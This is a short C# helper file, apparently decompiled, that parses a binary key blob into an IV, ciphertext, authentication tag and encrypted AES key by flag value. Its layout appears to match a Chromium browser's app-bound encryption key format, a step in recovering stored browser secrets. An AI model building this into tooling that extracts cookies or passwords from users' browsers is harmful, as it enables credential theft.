Files
2026-08-27 10:55:23 -06:00

67 lines
1.4 KiB
C#

using System;
using System.IO;
namespace Intelix.Helper;
public static class ParseKeyBlob
{
public static BlobParsedData Parse(byte[] blobData)
{
using MemoryStream memoryStream = new MemoryStream(blobData);
using BinaryReader binaryReader = new BinaryReader(memoryStream);
uint count = binaryReader.ReadUInt32();
binaryReader.ReadBytes((int)count);
uint num = binaryReader.ReadUInt32();
_ = memoryStream.Position;
byte[] array = null;
byte[] iv = null;
byte[] ciphertext = null;
byte[] tag = null;
if (num == 32)
{
array = binaryReader.ReadBytes(32);
return new BlobParsedData
{
Flag = 32,
Iv = iv,
Ciphertext = ciphertext,
Tag = tag,
EncryptedAesKey = array
};
}
byte b = binaryReader.ReadByte();
switch (b)
{
case 1:
case 2:
iv = binaryReader.ReadBytes(12);
ciphertext = binaryReader.ReadBytes(32);
tag = binaryReader.ReadBytes(16);
return new BlobParsedData
{
Flag = b,
Iv = iv,
Ciphertext = ciphertext,
Tag = tag,
EncryptedAesKey = null
};
case 3:
case 35:
array = binaryReader.ReadBytes(32);
iv = binaryReader.ReadBytes(12);
ciphertext = binaryReader.ReadBytes(32);
tag = binaryReader.ReadBytes(16);
return new BlobParsedData
{
Flag = b,
Iv = iv,
Ciphertext = ciphertext,
Tag = tag,
EncryptedAesKey = array
};
default:
throw new Exception();
}
}
}